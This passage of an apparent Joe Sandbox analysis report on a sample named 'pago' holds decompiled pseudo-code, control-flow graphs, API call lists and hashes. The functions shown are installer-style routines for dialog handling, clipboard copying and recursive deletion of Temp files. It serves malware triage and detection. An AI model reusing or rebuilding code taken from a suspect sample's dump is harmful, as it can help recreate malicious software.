                                                                  0x0040583f
                                                                  0x00405853
                                                                  0x0040585c
                                                                  0x00405865
                                                                  0x00405875
                                                                  0x00405881
                                                                  0x00405881
                                                                  0x00000000

                                                                  APIs
                                                                  • GetDlgItem.USER32 ref: 0040573C
                                                                  • GetDlgItem.USER32 ref: 0040574B
                                                                  • GetClientRect.USER32 ref: 00405788
                                                                  • GetSystemMetrics.USER32 ref: 0040578F
                                                                  • SendMessageW.USER32(?,00001061,00000000,?), ref: 004057B0
                                                                  • SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057C1
                                                                  • SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004057D4
                                                                  • SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004057E2
                                                                  • SendMessageW.USER32(?,00001024,00000000,?), ref: 004057F5
                                                                  • ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405817
                                                                  • ShowWindow.USER32(?,00000008), ref: 0040582B
                                                                  • GetDlgItem.USER32 ref: 0040584C
                                                                  • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040585C
                                                                  • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405875
                                                                  • SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405881
                                                                  • GetDlgItem.USER32 ref: 0040575A
                                                                    • Part of subcall function 004044CE: SendMessageW.USER32(00000028,?,00000001,004042F9), ref: 004044DC
                                                                  • GetDlgItem.USER32 ref: 0040589E
                                                                  • CreateThread.KERNELBASE ref: 004058AC
                                                                  • FindCloseChangeNotification.KERNELBASE(00000000), ref: 004058B3
                                                                  • ShowWindow.USER32(00000000), ref: 004058D7
                                                                  • ShowWindow.USER32(000103B0,00000008), ref: 004058DC
                                                                  • ShowWindow.USER32(00000008), ref: 00405926
                                                                  • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040595A
                                                                  • CreatePopupMenu.USER32 ref: 0040596B
                                                                  • AppendMenuW.USER32 ref: 0040597F
                                                                  • GetWindowRect.USER32 ref: 0040599F
                                                                  • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059B8
                                                                  • SendMessageW.USER32(?,00001073,00000000,?), ref: 004059F0
                                                                  • OpenClipboard.USER32(00000000), ref: 00405A00
                                                                  • EmptyClipboard.USER32 ref: 00405A06
                                                                  • GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A12
                                                                  • GlobalLock.KERNEL32 ref: 00405A1C
                                                                  • SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A30
                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 00405A50
                                                                  • SetClipboardData.USER32(0000000D,00000000), ref: 00405A5B
                                                                  • CloseClipboard.USER32 ref: 00405A61
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendChangeClientDataEmptyFindLockMetricsNotificationOpenSystemThreadTrackUnlock
                                                                  • String ID: {
                                                                  • API String ID: 4154960007-366298937
                                                                  • Opcode ID: 31d53ebfca1d6a6c60948640a960746d46598940cbf3ff3663529959692270eb
                                                                  • Instruction ID: 6b97441d6f4cfe62a880681573964a63c423f2dd70b2063085686802d9cc5617
                                                                  • Opcode Fuzzy Hash: 31d53ebfca1d6a6c60948640a960746d46598940cbf3ff3663529959692270eb
                                                                  • Instruction Fuzzy Hash: C8B169B1900608FFDB119FA0DD85AAE7B79FB44355F00803AFA41BA1A0C7755E51DF58
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 442 405c49-405c6f call 405f14 445 405c71-405c83 DeleteFileW 442->445 446 405c88-405c8f 442->446 447 405e05-405e09 445->447 448 405c91-405c93 446->448 449 405ca2-405cb2 call 40653d 446->449 450 405db3-405db8 448->450 451 405c99-405c9c 448->451 455 405cc1-405cc2 call 405e58 449->455 456 405cb4-405cbf lstrcatW 449->456 450->447 454 405dba-405dbd 450->454 451->449 451->450 457 405dc7-405dcf call 406873 454->457 458 405dbf-405dc5 454->458 460 405cc7-405ccb 455->460 456->460 457->447 466 405dd1-405de5 call 405e0c call 405c01 457->466 458->447 463 405cd7-405cdd lstrcatW 460->463 464 405ccd-405cd5 460->464 465 405ce2-405cfe lstrlenW FindFirstFileW 463->465 464->463 464->465 467 405d04-405d0c 465->467 468 405da8-405dac 465->468 482 405de7-405dea 466->482 483 405dfd-405e00 call 40559f 466->483 470 405d2c-405d40 call 40653d 467->470 471 405d0e-405d16 467->471 468->450 473 405dae 468->473 484 405d42-405d4a 470->484 485 405d57-405d62 call 405c01 470->485 474 405d18-405d20 471->474 475 405d8b-405d9b FindNextFileW 471->475 473->450 474->470 478 405d22-405d2a 474->478 475->467 481 405da1-405da2 FindClose 475->481 478->470 478->475 481->468 482->458 486 405dec-405dfb call 40559f call 4062fd 482->486 483->447 484->475 487 405d4c-405d55 call 405c49 484->487 495 405d83-405d86 call 40559f 485->495 496 405d64-405d67 485->496 486->447 487->475 495->475 497 405d69-405d79 call 40559f call 4062fd 496->497 498 405d7b-405d81 496->498 497->475 498->475
                                                                  C-Code - Quality: 98%
                                                                  			E00405C49(void* __eflags, signed int _a4, signed int _a8) {
                                                                  				signed int _v8;
                                                                  				signed int _v12;
                                                                  				short _v556;
                                                                  				short _v558;
                                                                  				struct _WIN32_FIND_DATAW _v604;
                                                                  				signed int _t38;
                                                                  				signed int _t52;
                                                                  				signed int _t55;
                                                                  				signed int _t62;
                                                                  				void* _t64;
                                                                  				signed char _t65;
                                                                  				WCHAR* _t66;
                                                                  				void* _t67;
                                                                  				WCHAR* _t68;
                                                                  				void* _t70;
                                                                  
                                                                  				_t65 = _a8;
                                                                  				_t68 = _a4;
                                                                  				_v8 = _t65 & 0x00000004;
                                                                  				_t38 = E00405F14(__eflags, _t68);
                                                                  				_v12 = _t38;
                                                                  				if((_t65 & 0x00000008) != 0) {
                                                                  					_t62 = DeleteFileW(_t68); // executed
                                                                  					asm("sbb eax, eax");
                                                                  					_t64 =  ~_t62 + 1;
                                                                  					 *0x434f88 =  *0x434f88 + _t64;
                                                                  					return _t64;
                                                                  				}
                                                                  				_a4 = _t65;
                                                                  				_t8 =  &_a4;
                                                                  				 *_t8 = _a4 & 0x00000001;
                                                                  				__eflags =  *_t8;
                                                                  				if( *_t8 == 0) {
                                                                  					L5:
                                                                  					E0040653D(0x42f270, _t68);
                                                                  					__eflags = _a4;
                                                                  					if(_a4 == 0) {
                                                                  						E00405E58(_t68);
                                                                  					} else {
                                                                  						lstrcatW(0x42f270, L"\\*.*");
                                                                  					}
                                                                  					__eflags =  *_t68;
                                                                  					if( *_t68 != 0) {
                                                                  						L10:
                                                                  						lstrcatW(_t68, 0x40a014);
                                                                  						L11:
                                                                  						_t66 =  &(_t68[lstrlenW(_t68)]);
                                                                  						_t38 = FindFirstFileW(0x42f270,  &_v604);
                                                                  						_t70 = _t38;
                                                                  						__eflags = _t70 - 0xffffffff;
                                                                  						if(_t70 == 0xffffffff) {
                                                                  							L26:
                                                                  							__eflags = _a4;
                                                                  							if(_a4 != 0) {
                                                                  								_t30 = _t66 - 2;
                                                                  								 *_t30 =  *(_t66 - 2) & 0x00000000;
                                                                  								__eflags =  *_t30;
                                                                  							}
                                                                  							goto L28;
                                                                  						} else {
                                                                  							goto L12;
                                                                  						}
                                                                  						do {
                                                                  							L12:
                                                                  							__eflags = _v604.cFileName - 0x2e;
                                                                  							if(_v604.cFileName != 0x2e) {
                                                                  								L16:
                                                                  								E0040653D(_t66,  &(_v604.cFileName));
                                                                  								__eflags = _v604.dwFileAttributes & 0x00000010;
                                                                  								if(__eflags == 0) {
                                                                  									_t52 = E00405C01(__eflags, _t68, _v8);
                                                                  									__eflags = _t52;
                                                                  									if(_t52 != 0) {
                                                                  										E0040559F(0xfffffff2, _t68);
                                                                  									} else {
                                                                  										__eflags = _v8 - _t52;
                                                                  										if(_v8 == _t52) {
                                                                  											 *0x434f88 =  *0x434f88 + 1;
                                                                  										} else {
                                                                  											E0040559F(0xfffffff1, _t68);
                                                                  											E004062FD(_t67, _t68, 0);
                                                                  										}
                                                                  									}
                                                                  								} else {
                                                                  									__eflags = (_a8 & 0x00000003) - 3;
                                                                  									if(__eflags == 0) {
                                                                  										E00405C49(__eflags, _t68, _a8);
                                                                  									}
                                                                  								}
                                                                  								goto L24;
                                                                  							}
                                                                  							__eflags = _v558;
                                                                  							if(_v558 == 0) {
                                                                  								goto L24;
                                                                  							}
                                                                  							__eflags = _v558 - 0x2e;
                                                                  							if(_v558 != 0x2e) {
                                                                  								goto L16;
                                                                  							}
                                                                  							__eflags = _v556;
                                                                  							if(_v556 == 0) {
                                                                  								goto L24;
                                                                  							}
                                                                  							goto L16;
                                                                  							L24:
                                                                  							_t55 = FindNextFileW(_t70,  &_v604);
                                                                  							__eflags = _t55;
                                                                  						} while (_t55 != 0);
                                                                  						_t38 = FindClose(_t70);
                                                                  						goto L26;
                                                                  					}
                                                                  					__eflags =  *0x42f270 - 0x5c;
                                                                  					if( *0x42f270 != 0x5c) {
                                                                  						goto L11;
                                                                  					}
                                                                  					goto L10;
                                                                  				} else {
                                                                  					__eflags = _t38;
                                                                  					if(_t38 == 0) {
                                                                  						L28:
                                                                  						__eflags = _a4;
                                                                  						if(_a4 == 0) {
                                                                  							L36:
                                                                  							return _t38;
                                                                  						}
                                                                  						__eflags = _v12;
                                                                  						if(_v12 != 0) {
                                                                  							_t38 = E00406873(_t68);
                                                                  							__eflags = _t38;
                                                                  							if(_t38 == 0) {
                                                                  								goto L36;
                                                                  							}
                                                                  							E00405E0C(_t68);
                                                                  							_t38 = E00405C01(__eflags, _t68, _v8 | 0x00000001);
                                                                  							__eflags = _t38;
                                                                  							if(_t38 != 0) {
                                                                  								return E0040559F(0xffffffe5, _t68);
                                                                  							}
                                                                  							__eflags = _v8;
                                                                  							if(_v8 == 0) {
                                                                  								goto L30;
                                                                  							}
                                                                  							E0040559F(0xfffffff1, _t68);
                                                                  							return E004062FD(_t67, _t68, 0);
                                                                  						}
                                                                  						L30:
                                                                  						 *0x434f88 =  *0x434f88 + 1;
                                                                  						return _t38;
                                                                  					}
                                                                  					__eflags = _t65 & 0x00000002;
                                                                  					if((_t65 & 0x00000002) == 0) {
                                                                  						goto L28;
                                                                  					}
                                                                  					goto L5;
                                                                  				}
                                                                  			}


















                                                                  0x00405c53
                                                                  0x00405c58
                                                                  0x00405c61
                                                                  0x00405c64
                                                                  0x00405c6c
                                                                  0x00405c6f
                                                                  0x00405c72
                                                                  0x00405c7a
                                                                  0x00405c7c
                                                                  0x00405c7d
                                                                  0x00000000
                                                                  0x00405c7d
                                                                  0x00405c88
                                                                  0x00405c8b
                                                                  0x00405c8b
                                                                  0x00405c8b
                                                                  0x00405c8f
                                                                  0x00405ca2
                                                                  0x00405ca9
                                                                  0x00405cae
                                                                  0x00405cb2
                                                                  0x00405cc2
                                                                  0x00405cb4
                                                                  0x00405cba
                                                                  0x00405cba
                                                                  0x00405cc7
                                                                  0x00405ccb
                                                                  0x00405cd7
                                                                  0x00405cdd
                                                                  0x00405ce2
                                                                  0x00405ce8
                                                                  0x00405cf3
                                                                  0x00405cf9
                                                                  0x00405cfb
                                                                  0x00405cfe
                                                                  0x00405da8
                                                                  0x00405da8
                                                                  0x00405dac
                                                                  0x00405dae
                                                                  0x00405dae
                                                                  0x00405dae
                                                                  0x00405dae
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00405d04
                                                                  0x00405d04
                                                                  0x00405d04
                                                                  0x00405d0c
                                                                  0x00405d2c
                                                                  0x00405d34
                                                                  0x00405d39
                                                                  0x00405d40
                                                                  0x00405d5b
                                                                  0x00405d60
                                                                  0x00405d62
                                                                  0x00405d86
                                                                  0x00405d64
                                                                  0x00405d64
                                                                  0x00405d67
                                                                  0x00405d7b
                                                                  0x00405d69
                                                                  0x00405d6c
                                                                  0x00405d74
                                                                  0x00405d74
                                                                  0x00405d67
                                                                  0x00405d42
                                                                  0x00405d48
                                                                  0x00405d4a
                                                                  0x00405d50
                                                                  0x00405d50
                                                                  0x00405d4a
                                                                  0x00000000
                                                                  0x00405d40
                                                                  0x00405d0e
                                                                  0x00405d16
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00405d18
                                                                  0x00405d20
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00405d22
                                                                  0x00405d2a
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00405d8b
                                                                  0x00405d93
                                                                  0x00405d99
                                                                  0x00405d99
                                                                  0x00405da2
                                                                  0x00000000
                                                                  0x00405da2
                                                                  0x00405ccd
                                                                  0x00405cd5
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00405c91
                                                                  0x00405c91
                                                                  0x00405c93
                                                                  0x00405db3
                                                                  0x00405db5
                                                                  0x00405db8
                                                                  0x00405e09
                                                                  0x00405e09
                                                                  0x00405e09
                                                                  0x00405dba
                                                                  0x00405dbd
                                                                  0x00405dc8
                                                                  0x00405dcd
                                                                  0x00405dcf
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00405dd2
                                                                  0x00405dde
                                                                  0x00405de3
                                                                  0x00405de5
                                                                  0x00000000
                                                                  0x00405e00
                                                                  0x00405de7
                                                                  0x00405dea
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00405def
                                                                  0x00000000
                                                                  0x00405df6
                                                                  0x00405dbf
                                                                  0x00405dbf
                                                                  0x00000000
                                                                  0x00405dbf
                                                                  0x00405c99
                                                                  0x00405c9c
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00405c9c

                                                                  APIs
                                                                  • DeleteFileW.KERNELBASE(?,?,76F1FAA0,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405C72
                                                                  • lstrcatW.KERNEL32(0042F270,\*.*), ref: 00405CBA
                                                                  • lstrcatW.KERNEL32(?,0040A014), ref: 00405CDD
                                                                  • lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,76F1FAA0,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405CE3
                                                                  • FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,76F1FAA0,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405CF3
                                                                  • FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405D93
                                                                  • FindClose.KERNEL32(00000000), ref: 00405DA2
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                                  • String ID: .$.$C:\Users\user\AppData\Local\Temp\$\*.*
                                                                  • API String ID: 2035342205-2424138518
                                                                  • Opcode ID: 2ea8aa6a8d4f7201961980de833ab884f2753d9f6dddac351d402a454eb76660
                                                                  • Instruction ID: 8b2ee76931e9ba666d6dc67a471f1b560bbb00ea1adf29c264b32972d7114dcf
                                                                  • Opcode Fuzzy Hash: 2ea8aa6a8d4f7201961980de833ab884f2753d9f6dddac351d402a454eb76660
                                                                  • Instruction Fuzzy Hash: 3D41A130900A14BADB216B65CC8DABF7678DF81714F14817FF841B21D1D77C4A819EAE
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00406873(WCHAR* _a4) {
                                                                  				void* _t2;
                                                                  
                                                                  				_t2 = FindFirstFileW(_a4, 0x4302b8); // executed
                                                                  				if(_t2 == 0xffffffff) {
                                                                  					return 0;
                                                                  				}
                                                                  				FindClose(_t2);
                                                                  				return 0x4302b8;
                                                                  			}




                                                                  0x0040687e
                                                                  0x00406887
                                                                  0x00000000
                                                                  0x00406894
                                                                  0x0040688a
                                                                  0x00000000

                                                                  APIs
                                                                  • FindFirstFileW.KERNELBASE(76F1FAA0,004302B8,0042FA70,00405F5D,0042FA70,0042FA70,00000000,0042FA70,0042FA70,76F1FAA0,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76F1FAA0,C:\Users\user\AppData\Local\Temp\), ref: 0040687E
                                                                  • FindClose.KERNEL32(00000000), ref: 0040688A
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Find$CloseFileFirst
                                                                  • String ID:
                                                                  • API String ID: 2295610775-0
                                                                  • Opcode ID: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
                                                                  • Instruction ID: 67599a3b69382adcf67454a25bfea179debcebd0a6e2e92eb77ede12202c023a
                                                                  • Opcode Fuzzy Hash: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
                                                                  • Instruction Fuzzy Hash: C3D012325192205FC3402B386E0C84B7A989F16331726CB76B4AAF51E0D7388C7387BD
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 41%
                                                                  			E0040290B(short __ebx, short* __edi) {
                                                                  				void* _t8;
                                                                  				void* _t21;
                                                                  
                                                                  				_t8 = FindFirstFileW(E00402DA6(2), _t21 - 0x2dc); // executed
                                                                  				if(_t8 != 0xffffffff) {
                                                                  					E00406484( *((intOrPtr*)(_t21 - 0xc)), _t8);
                                                                  					_push(_t21 - 0x2b0);
                                                                  					_push(__edi);
                                                                  					E0040653D();
                                                                  				} else {
                                                                  					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
                                                                  					 *__edi = __ebx;
                                                                  					 *((intOrPtr*)(_t21 - 4)) = 1;
                                                                  				}
                                                                  				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t21 - 4));
                                                                  				return 0;
                                                                  			}





                                                                  0x0040291a
                                                                  0x00402923
                                                                  0x0040293e
                                                                  0x00402949
                                                                  0x0040294a
                                                                  0x00402a94
                                                                  0x00402925
                                                                  0x00402928
                                                                  0x0040292b
                                                                  0x0040292e
                                                                  0x0040292e
                                                                  0x00402c2d
                                                                  0x00402c39

                                                                  APIs
                                                                  • FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040291A
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: FileFindFirst
                                                                  • String ID:
                                                                  • API String ID: 1974802433-0
                                                                  • Opcode ID: 2616af6840be9ad065c7271e10669628003eadbae38ac98b1b8d582da80c65e5
                                                                  • Instruction ID: 3f6fbcf0fd4d311cdd608d5f72697756ed96b8559223cd5d9f1c4d92bc61f1b3
                                                                  • Opcode Fuzzy Hash: 2616af6840be9ad065c7271e10669628003eadbae38ac98b1b8d582da80c65e5
                                                                  • Instruction Fuzzy Hash: 3CF08271A04105EFD701DBA4ED49AAEB378FF14314F60417BE116F21D0E7B88E159B29
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  Control-flow Graph

                                                                  • Executed
                                                                  • Not Executed
                                                                  control_flow_graph 194 403f9a-403fac 195 403fb2-403fb8 194->195 196 404113-404122 194->196 195->196 197 403fbe-403fc7 195->197 198 404171-404186 196->198 199 404124-40415f GetDlgItem * 2 call 404499 KiUserCallbackDispatcher call 40140b 196->199 200 403fc9-403fd6 SetWindowPos 197->200 201 403fdc-403fe3 197->201 203 4041c6-4041cb call 4044e5 198->203 204 404188-40418b 198->204 225 404164-40416c 199->225 200->201 206 403fe5-403fff ShowWindow 201->206 207 404027-40402d 201->207 212 4041d0-4041eb 203->212 209 40418d-404198 call 401389 204->209 210 4041be-4041c0 204->210 213 404100-40410e call 404500 206->213 214 404005-404018 GetWindowLongW 206->214 215 404046-404049 207->215 216 40402f-404041 DestroyWindow 207->216 209->210 235 40419a-4041b9 SendMessageW 209->235 210->203 211 404466 210->211 223 404468-40446f 211->223 220 4041f4-4041fa 212->220 221 4041ed-4041ef call 40140b 212->221 213->223 214->213 222 40401e-404021 ShowWindow 214->222 226 40404b-404057 SetWindowLongW 215->226 227 40405c-404062 215->227 224 404443-404449 216->224 232 404200-40420b 220->232 233 404424-40443d DestroyWindow EndDialog 220->233 221->220 222->207 224->211 231 40444b-404451 224->231 225->198 226->223 227->213 234 404068-404077 GetDlgItem 227->234 231->211 236 404453-40445c ShowWindow 231->236 232->233 237 404211-40425e call 40657a call 404499 * 3 GetDlgItem 232->237 233->224 238 404096-404099 234->238 239 404079-404090 SendMessageW IsWindowEnabled 234->239 235->223 236->211 266 404260-404265 237->266 267 404268-4042a4 ShowWindow KiUserCallbackDispatcher call 4044bb EnableWindow 237->267 241 40409b-40409c 238->241 242 40409e-4040a1 238->242 239->211 239->238 246 4040cc-4040d1 call 404472 241->246 243 4040a3-4040a9 242->243 244 4040af-4040b4 242->244 247 4040ea-4040fa SendMessageW 243->247 248 4040ab-4040ad 243->248 244->247 249 4040b6-4040bc 244->249 246->213 247->213 248->246 252 4040d3-4040dc call 40140b 249->252 253 4040be-4040c4 call 40140b 249->253 252->213 263 4040de-4040e8 252->263 262 4040ca 253->262 262->246 263->262 266->267 270 4042a6-4042a7 267->270 271 4042a9 267->271 272 4042ab-4042d9 GetSystemMenu EnableMenuItem SendMessageW 270->272 271->272 273 4042db-4042ec SendMessageW 272->273 274 4042ee 272->274 275 4042f4-404333 call 4044ce call 403f7b call 40653d lstrlenW call 40657a SetWindowTextW call 401389 273->275 274->275 275->212 286 404339-40433b 275->286 286->212 287 404341-404345 286->287 288 404364-404378 DestroyWindow 287->288 289 404347-40434d 287->289 288->224 291 40437e-4043ab CreateDialogParamW 288->291 289->211 290 404353-404359 289->290 290->212 292 40435f 290->292 291->224 293 4043b1-404408 call 404499 GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 401389 291->293 292->211 293->211 298 40440a-40441d ShowWindow call 4044e5 293->298 300 404422 298->300 300->224
                                                                  C-Code - Quality: 84%
                                                                  			E00403F9A(struct HWND__* _a4, intOrPtr _a8, int _a12, long _a16) {
                                                                  				struct HWND__* _v28;
                                                                  				void* _v84;
                                                                  				void* _v88;
                                                                  				void* __ebx;
                                                                  				void* __edi;
                                                                  				void* __esi;
                                                                  				signed int _t34;
                                                                  				signed int _t36;
                                                                  				signed int _t38;
                                                                  				struct HWND__* _t48;
                                                                  				signed int _t67;
                                                                  				struct HWND__* _t73;
                                                                  				signed int _t86;
                                                                  				struct HWND__* _t91;
                                                                  				signed int _t99;
                                                                  				int _t103;
                                                                  				signed int _t117;
                                                                  				int _t118;
                                                                  				int _t122;
                                                                  				signed int _t124;
                                                                  				struct HWND__* _t127;
                                                                  				struct HWND__* _t128;
                                                                  				int _t129;
                                                                  				intOrPtr _t130;
                                                                  				long _t133;
                                                                  				int _t135;
                                                                  				int _t136;
                                                                  				void* _t137;
                                                                  				void* _t146;
                                                                  
                                                                  				_t130 = _a8;
                                                                  				if(_t130 == 0x110 || _t130 == 0x408) {
                                                                  					_t34 = _a12;
                                                                  					_t127 = _a4;
                                                                  					__eflags = _t130 - 0x110;
                                                                  					 *0x42d250 = _t34;
                                                                  					if(_t130 == 0x110) {
                                                                  						 *0x434f08 = _t127;
                                                                  						 *0x42d264 = GetDlgItem(_t127, 1);
                                                                  						_t91 = GetDlgItem(_t127, 2);
                                                                  						_push(0xffffffff);
                                                                  						_push(0x1c);
                                                                  						 *0x42b230 = _t91;
                                                                  						E00404499(_t127);
                                                                  						SetClassLongW(_t127, 0xfffffff2,  *0x433ee8); // executed
                                                                  						 *0x433ecc = E0040140B(4);
                                                                  						_t34 = 1;
                                                                  						__eflags = 1;
                                                                  						 *0x42d250 = 1;
                                                                  					}
                                                                  					_t124 =  *0x40a368; // 0x0
                                                                  					_t136 = 0;
                                                                  					_t133 = (_t124 << 6) +  *0x434f20;
                                                                  					__eflags = _t124;
                                                                  					if(_t124 < 0) {
                                                                  						L36:
                                                                  						E004044E5(0x40b);
                                                                  						while(1) {
                                                                  							_t36 =  *0x42d250;
                                                                  							 *0x40a368 =  *0x40a368 + _t36;
                                                                  							_t133 = _t133 + (_t36 << 6);
                                                                  							_t38 =  *0x40a368; // 0x0
                                                                  							__eflags = _t38 -  *0x434f24;
                                                                  							if(_t38 ==  *0x434f24) {
                                                                  								E0040140B(1);
                                                                  							}
                                                                  							__eflags =  *0x433ecc - _t136; // 0x0
                                                                  							if(__eflags != 0) {
                                                                  								break;
                                                                  							}
                                                                  							__eflags =  *0x40a368 -  *0x434f24; // 0x0
